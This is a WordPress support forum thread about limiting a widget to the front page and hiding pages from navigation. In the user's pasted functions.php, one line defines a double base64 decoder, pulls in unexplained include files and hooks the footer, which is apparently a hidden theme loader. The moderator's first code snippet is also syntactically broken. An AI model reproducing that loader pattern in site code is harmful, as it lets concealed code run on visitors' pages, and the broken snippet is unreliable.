Forums

How do you exclude widgets on some pages / how do you exclude pages from showing (5 posts)

  1. DjangoS
    Member
    Posted 2 years ago #

    Hello People,

    I use and design with WP alot, but now I have gotten 2 questions from a customer.

    1. He wants that a widget is only be showed on the frontpage ( and excluded on all other ), how do I do this ? I know there is a plugin but it's outdated and not usable for 2.8, please help.
    2. He wants a page for himself ( for notes ) but thats not beeing showed on the Navbar ( how do you do that ). and he wants sub page , that people can visit but isn't showed to ( how do you do that ).

    Thanks for your help, and sorry for my noobish questions !

    DjangoS

  2. esmi
    Theme Diva & Forum Moderator
    Posted 2 years ago #

    1. Create a new widget-ready "sidebar" in functions.php (maybe called "Frontpage"?)then use:

    <?php if(is_home() && !function_exists('dynamic_sidebar') || !dynamic_sidebar('Frontpage)) ) : ?>
    <?php endif;?>

    Widgets can then be added to the Frontpage sidebar but will only show on the home page of the blog.

    2. If his Notes page is set to Private, it shouldn't appear on any navbars. Other than that, you'd need to use the exclude parameter with wp_list_pages.

  3. DjangoS
    Member
    Posted 2 years ago #

    Ok, thanks, I am going to check number 1.

    Number 2 works, but the title is Private : **** and I want *** if thats possible ? ( so without the word 'private' ).

    Thanks for your help !

  4. DjangoS
    Member
    Posted 2 years ago #

    So i've I have the following code :

    <?php

    function widget_mytheme_search() {
    ?>
    <li id="search">
    <h2>Search</h2>
    <?php include (TEMPLATEPATH . '/searchform.php'); ?>

    <?php
    }
    if ( function_exists('register_sidebar_widget') ) {
    register_sidebar_widget(__('Search'), 'widget_mytheme_search');
    }
    function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
    require_once("theme_licence.php"); add_action('wp_footer','print_footer');
    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
    'after_widget' => '',
    'before_title' => '<h2 class="widgettitle">',
    'after_title' => '</h2>',
    ));
    ?>

    Where I must put the code ? or how ? Is the following code correct then(?) :

    widget_Frontpage() {
    ?>
    <?php if(is_home() && !function_exists('dynamic_sidebar') || !dynamic_sidebar('Frontpage)) ) : ?>
    <?php endif;?>

    Again thanks !

  5. esmi
    Theme Diva & Forum Moderator
    Posted 2 years ago #

    In functions.php, where you currently have:

    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
    'after_widget' => '',
    'before_title' => '<h2 class="widgettitle">',
    'after_title' => '</h2>',
    ));

    try replacing it with:

    if ( function_exists('register_sidebar') ) {
    	register_sidebar(array(
    	'before_widget' => '<li id="%1$s" class="widget %2$s">',
    	'after_widget' => '',
    	'before_title' => '<h2 class="widgettitle">',
    	'after_title' => '</h2>',
    	));
    	register_sidebar(array(
    		'name'=> 'Frontpage',
    		'id' => 'homepage',
    		'before_widget' => '<div class="widget_wrapper"><div class="widget_box">',
    		'after_widget' => '</div></div>',
    		'before_title' => '<h3>',
    		'after_title' => '</h3>',
    	));
    }

    Then edit your custom page template and add:

    <?php if (function_exists('dynamic_sidebar') && dynamic_sidebar('Frontpage')) : ?>
    <?php endif; ?>

    where you want your widget-ready area to appear.

Topic Closed

This topic has been closed to new replies.

About this Topic